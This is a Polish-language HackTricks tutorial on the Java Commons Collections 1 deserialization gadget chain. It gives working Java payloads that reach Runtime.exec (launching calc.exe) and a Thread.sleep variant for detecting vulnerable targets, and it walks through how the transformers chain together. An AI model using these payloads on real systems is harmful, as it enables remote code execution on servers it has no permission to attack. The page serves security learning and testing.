CommonsCollection1 Payload - Java Transformers do Rutime exec() i Thread Sleep

Reading time: 6 minutes

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

Java Transformers do Rutime exec()

W kilku miejscach można znaleźć ładunek deserializacji java, który wykorzystuje transformery z Apache common collections, takie jak ten:

java
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");
}
}

Jeśli nie wiesz nic o ładunkach deserializacji w javie, może być trudno zrozumieć, dlaczego ten kod uruchomi kalkulator.

Przede wszystkim musisz wiedzieć, że Transformer w Javie to coś, co otrzymuje klasę i przekształca ją w inną.
Również interesujące jest to, że ładunek będący wykonywany tutaj jest równoważny z:

java
Runtime.getRuntime().exec(new String[]{"calc.exe"});

Lub dokładniej mówiąc, to co zostanie wykonane na końcu to:

java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Jak

Więc, jak pierwszy ładunek jest przedstawiony jako równoważny tym "prostym" jednowierszowym?

Po pierwsze, możesz zauważyć w ładunku, że tworzony jest łańcuch (tablica) transformacji:

java
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),

//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),

//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),

//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Jeśli przeczytasz kod, zauważysz, że jeśli w jakiś sposób połączysz transformację tablicy, będziesz mógł wykonać dowolne polecenia.

Więc, jak są łączone te transformacje?

java
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");

W ostatniej sekcji ładunku widać, że obiekt Map jest tworzony. Następnie funkcja decorate jest wykonywana z LazyMap z obiektem mapy i połączonymi transformerami. Z poniższego kodu widać, że spowoduje to skopiowanie połączonych transformerów wewnątrz atrybutu lazyMap.factory:

java
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

A potem wykonywane jest wielkie zakończenie: lazyMap.get("anything");

To jest kod funkcji get:

java
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

A oto kod funkcji transform

java
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

Więc pamiętaj, że wewnątrz factory zapisaliśmy chainedTransformer, a w funkcji transform przechodzimy przez wszystkie te połączone transformery i wykonujemy je jeden po drugim. Zabawne jest to, że każdy transformer używa object jako wejścia, a obiekt jest wynikiem ostatniego wykonanego transformera. Dlatego wszystkie transformacje są połączone, wykonując złośliwy ładunek.

Podsumowanie

Na końcu, z powodu tego, jak lazyMap zarządza połączonymi transformerami wewnątrz metody get, jest to tak, jakbyśmy wykonywali następujący kod:

java
Object value = "someting";

value = new ConstantTransformer(Runtime.class).transform(value); //(1)

value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)

value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)

value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)

Zauważ, że value jest wejściem każdego transformatora i wyjściem poprzedniego transformatora, co pozwala na wykonanie jednego wiersza:

java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Zauważ, że tutaj wyjaśniono gadżety używane do ładunku ComonsCollections1. Ale pozostawiono jak to wszystko zaczyna się wykonywać. Możesz zobaczyć tutaj, że ysoserial, aby wykonać ten ładunek, używa obiektu AnnotationInvocationHandler, ponieważ gdy ten obiekt zostanie zdeserializowany, wywoła funkcję payload.get(), która wykona cały ładunek.

Java Thread Sleep

Ten ładunek może być przydatny do zidentyfikowania, czy strona jest podatna, ponieważ wykona opóźnienie, jeśli tak jest.

java
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");

}
}

Więcej gadżetów

Możesz znaleźć więcej gadżetów tutaj: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks